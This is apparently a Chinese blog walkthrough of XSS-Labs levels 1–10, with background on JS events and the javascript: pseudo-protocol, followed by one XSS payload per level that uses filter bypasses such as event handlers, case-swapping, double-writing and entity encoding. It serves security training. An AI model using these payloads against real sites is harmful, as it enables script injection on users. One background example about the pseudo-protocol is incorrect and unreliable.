XSS-Labs 通过解析(上)

本文涉及的产品
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
云解析DNS,个人版 1个月
简介: XSS-Labs 通过解析(上)

前言

XSS-Labs是一个专门用于学习和练习跨站脚本(XSS)技术的在线平台。它提供了一系列的实验场景和演示,帮助安全研究人员、开发人员和安全爱好者深入了解XSS攻击的原理和防御方法。


XSS-Labs的主要特点和功能包括:


1. 场景:XSS-Labs提供了多个不同的场景,每个场景都涵盖了不同类型的XSS,包括反射型、存储型和DOM型XSS等。通过这些场景,用户可以模拟和实践真实环境中可能出现的XSS场景。


2. 模拟:XSS-Labs允许用户模拟和执行XSS攻击,通过向提交恶意的XSS代码,触发并获取相关信息。用户可以尝试不同的载荷和技术,学习如何在不同场景下构造有效的XSS攻击。


3. 修复:XSS-Labs还提供了修复的练习,用户可以学习和实践如何修复XSS以增强应用程序的安全性。这些练习可以帮助开发人员了解XSS攻击的弱点,并采取相应的防御措施。


4. 文档和教程:XSS-Labs为用户提供了丰富的文档和教程,介绍了XSS的基础知识、常见的技术和防御方法。用户可以通过阅读这些文档和教程,全面了解XSS攻击并提升自己的安全意识和技能。


总的来说,XSS-Labs是一个提供了多个实验场景和演示的在线平台,旨在帮助用户学习和练习XSS技术,并提供相应的文档和教程来增强对XSS的理解和防御能力。


补充知识点

JS 事件

JS事件是指在网页中发生的交互动作或状态变化,例如点击按钮、鼠标移动、键盘按下等。通过JS事件,可以捕获这些动作或变化,并执行相应的代码来响应用户的操作。

JS事件可以分为以下几个部分来解析:


1. 事件类型(Event Type):每个事件都有一个特定的类型,用来描述事件的发生方式或者操作类型。例如,"click"表示点击事件,"mouseover"表示鼠标悬停事件,"keydown"表示键盘按下事件等。


2. 事件目标(Event Target):每个事件都有一个目标元素,即事件发生的元素。例如,点击按钮时,按钮就是事件目标。事件目标可以通过JS代码获取,例如使用`document.getElementById('elementId')` 来获取具有特定id的元素。

3. 事件监听器(Event Listener):通过事件监听器,可以指定当特定事件发生时要执行的代码。事件监听器可以通过`addEventListener`方法来添加,该方法接收两个参数:事件类型和要执行的代码。例如:

```
document.getElementById('myButton').addEventListener('click', function() {
  alert('Button clicked!');
});
```

这个例子中,当id为"myButton"的按钮被点击时,会弹出一个提示框显示"Button clicked!"。


4. 事件对象(Event Object):每个事件都有一个关联的事件对象,其中包含了关于事件的详细信息,例如事件类型、事件目标、鼠标位置等。可以通过事件监听器的回调函数的参数来访问事件对象。例如,在点击事件的回调函数中,可以使用`event.target`来获取事件目标元素。


5. 事件传播(Event Propagation):当一个事件发生时,它会从目标元素开始向上级元素传播,这个过程被称为事件传播。事件传播分为两个阶段:捕获阶段(capture phase)和冒泡阶段(bubble phase)。可以通过`addEventListener`方法的第三个参数来指定事件监听器在捕获阶段还是冒泡阶段执行。

JS 伪协议

JS伪协议(javascript:)是一种特殊的URL协议,用于在网页中直接执行JavaScript代码。它的基本形式是在URL中以"javascript:"开头,后面跟着一段JavaScript代码。

JS伪协议的使用场景包括:

1. 在链接中执行JavaScript代码:可以通过给链接的href属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,点击链接时弹出一个提示框:

```
<a href="javascript:alert('Hello, World!');">点击我</a>
```

2. 在表单中执行JavaScript代码:可以通过给表单的onsubmit属性赋值为包含JavaScript代码的"javascript:" URL来实现。例如,当表单提交时执行一段JavaScript代码:

```
<form onsubmit="javascript:alert('Form submitted!');">
  <input type="submit" value="提交">
</form>
```

3. 在脚本中执行JavaScript代码:可以直接在<script>标签中使用JS伪协议来执行JavaScript代码。例如:

```
<script>
  var result = javascript:1 + 2;
  console.log(result); // 输出: 3
</script>
```

需要注意的是,使用JS伪协议存在一些安全风险。因为它可以执行任意的JavaScript代码,所以可能会被恶意使用。为了避免潜在的安全,应该谨慎处理用户输入,并避免在JS伪协议中执行不可信的代码。


另外,JS伪协议在现代的Web开发中并不常见,因为它的使用方式比较简单粗暴,不够优雅和可维护。相比之下,更常见的做法是使用事件监听器和其他技术来实现与页面交互效果

一、Level 1(修改 name)

观察页面可知 name 值对应用户名

更改 name 值验证猜想

直接传入 JS 代码

?name=<script>alert(1)</script>

二、Level 2(闭合 input)

随便输入值检查源代码发现位于 value 中

可以在搜索框中闭合掉 value 及 input 标签来执行 JS 代码

"><script>alert(2)</script><

三、Level 3(单引号闭合 value)

用上一关的 payload 测试推测应该被过滤了

查看源码确实是过滤了,但是 value 值使用的是单引号,可以尝试能否闭合

' onmouseover=alert(3) '

四、Level 4(构造 JS 事件)

用第一关的 payload 测试发现过滤掉了 < 和 >

尝试通过构造 JS 事件执行 JS 代码

" onmouseover=alert(1) "

五、Level 5(JS 伪协议)

老 payload 测试发现过滤了 script

尝试构造事件发现过滤掉了 on

因为没有过滤掉 < 和 > ,所以可以插入新标签通过 JS 伪协议来触发 JS 事件

"> <a href=javascript:alert(5)>hack</a>

六、Level 6(大小写过滤)

使用上一关的 payload 测试发现过滤了 href

因为 HTML 对大小写不敏感,所以采用大小写过滤

"> <a hREF=javascript:alert(6)>hack</a>

七、Level 7(双写绕过)

使用第二关的 payload 发现过滤关键词 script

双写绕过

"> <scriscriptpt>alert(7)</scriscriptpt>

八、Level 8(Unicode 转 ASCII 编码绕过)

这一关是根据用户输入的值构造一个超链接

传入 JS 伪协议发现被过滤

使用 Unicode 编码转 ASCII 绕过(单独编码一个字符也可以绕过)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

九、Level 9(注释兼编码绕过)

这一关只有匹配合法的链接才会被添加

不合法的将不会被添加

可以尝试将 JS 代码与 合法的 http:// 一起输入然后注释掉 http://

能添加进去但是有过滤所以得编码绕过(只需将一个字符编码就行)

javascr&#x105;pt:alert(9)//http://

十、Level 10(隐藏表单)

检查源代码发现是有一个表单的

通过 URL 传参发现 t_sort 值对应

?keyword=test?t_link=tlink&t_history=thist&t_sort=tsort

通过 t_sort 构造 payload 同时要闭合掉后面的 type 属性,这里设置为了 hidden 不可见

&t_sort="%20onmouseover="alert(10)"%20type%20"

相关文章
|
23天前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
【7月更文挑战第27天】在 Python Web 开发中, 安全至关重要。
36 0
|
3月前
|
JavaScript 前端开发 安全
XSS Challenges 通关解析
XSS Challenges 通关解析
|
3月前
|
Web App开发 JavaScript 前端开发
XSS-Labs 通过解析(下)
XSS-Labs 通过解析(下)
|
3月前
|
存储 JavaScript 前端开发
前端xss攻击——规避innerHtml过滤标签节点及属性
前端xss攻击——规避innerHtml过滤标签节点及属性
228 4
|
3月前
|
缓存 安全 JavaScript
前端安全:Vue应用中防范XSS和CSRF攻击
【4月更文挑战第23天】本文探讨了在Vue应用中防范XSS和CSRF攻击的重要性。XSS攻击通过注入恶意脚本威胁用户数据,而CSRF则利用用户身份发起非授权请求。防范措施包括:对输入内容转义、使用CSP、选择安全的库;采用Anti-CSRF令牌、同源策略和POST请求对抗CSRF;并实施代码审查、更新依赖及教育团队成员。通过这些实践,可提升Vue应用的安全性,抵御潜在攻击。
577 0
|
19天前
|
存储 安全 JavaScript
手摸手带你进行XSS攻击与防御
当谈到网络安全和信息安全时,跨站脚本攻击(XSS)是一个不可忽视的威胁。现在大家使用邮箱进行用户认证比较多,如果黑客利用XSS攻陷了用户的邮箱,拿到了cookie那么就可以冒充你进行收发邮件,那真就太可怕了,通过邮箱验证进行其他各种网站的登录与高危操作。 那么今天,本文将带大家深入了解XSS攻击与对应的防御措施。
|
23小时前
|
监控 安全 JavaScript
对跨站脚本攻击(XSS)的防御策略?
【8月更文挑战第15天】
6 1
|
24天前
|
SQL 安全 数据库
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
【7月更文挑战第26天】在 Python Web 开发中, 安全性至关重要。本文聚焦 SQL 注入、XSS 和 CSRF 这三大安全威胁,提供实战防御策略。SQL 注入可通过参数化查询和 ORM 框架来防范;XSS 则需 HTML 转义用户输入与实施 CSP;CSRF 防御依赖 CSRF 令牌和双重提交 Cookie。掌握这些技巧,能有效加固 Web 应用的安全防线。安全是持续的过程,需贯穿开发始终。
47 1
Python Web开发者必学:SQL注入、XSS、CSRF攻击与防御实战演练!
|
5天前
|
存储 安全 JavaScript
XSS攻击(Cross-Site Scripting)
【8月更文挑战第11天】
12 2
|
3月前
|
安全 JavaScript Go
【Web】什么是 XSS 攻击,如何避免?
【Web】什么是 XSS 攻击,如何避免?

热门文章

最新文章

推荐镜像

更多